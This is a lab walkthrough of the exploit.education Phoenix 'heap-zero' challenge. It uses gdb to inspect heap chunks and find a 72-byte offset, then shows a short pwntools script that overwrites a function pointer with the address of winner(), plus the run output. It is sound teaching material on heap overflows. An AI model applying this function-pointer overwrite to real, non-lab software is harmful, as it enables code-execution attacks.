Now we understand how the program works after reading the source code it might be a good ideia to also take a look into the assembly code.
Let's open the program in gdb and run it with a regular argument, just to start our dynamic analysis.
(gdb) set args AAAA
(gdb) r
The program makes it easier by telling us where our input is and where fp is, so we could easily calculate our offset and complete the challenge without even using a debugger, but we'll take the long way in order to get the most out of this exercise.
We can see the calls to malloc() and strcpy() that were mentioned previously. Let's set breakpoints at those to see how the heap looks like throughout execution. I'll set a breakpoint after the last malloc to see the layout of the heap, another one when the pointer to the nowinner function (fp) is stored and finally another one after our input is copied to the heap. So we want to break in the line after each of the following instructions:
Reading the chunk headers we can see there are 2 chunks of 48 bytes total (one for each malloc), and we add 1 byte (previous-in-use flag) to the size metadata to indicate that the previous chunk is in use, so that's why both chunks have 49 as the size.
0x000fff71
This is the size of the rest of the heap apart from this 2 chunks that were already allocated, this is also known as the top chunk or wilderness.
After continuing the execution we can see exactly where fp (the pointer we want to overwrite) is,
We start writing at 0xf7e69008, and we want to reach 0xf7e69050 with junk, so our junk size will be 72 bytes, and the next for bytes are the value we want to write, which is the address of the winner function.
(gdb) x winner
0x8048835 <winner>: 0x83e58955
So we just need to provide an argument with 72 meaningless bytes + address of winner. Here is the expected heap layout:
#!/usr/bin/env python
from pwn import *
junk = 'A'*72
winner = p32(0x08048835)
payload = junk + winner
io = process(['./heap-zero', payload])
out = io.recv(1024)
print out
root@phoenix-amd64:/opt/phoenix/i486# ./exploit.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /root/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.12.2 --> 4.5.1).
Update with: $ pip install -U pwntools
[+] Starting local process './heap-zero': pid 347
[*] Process './heap-zero' stopped with exit code 0 (pid 347)
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level
root@phoenix-amd64:/opt/phoenix/i486#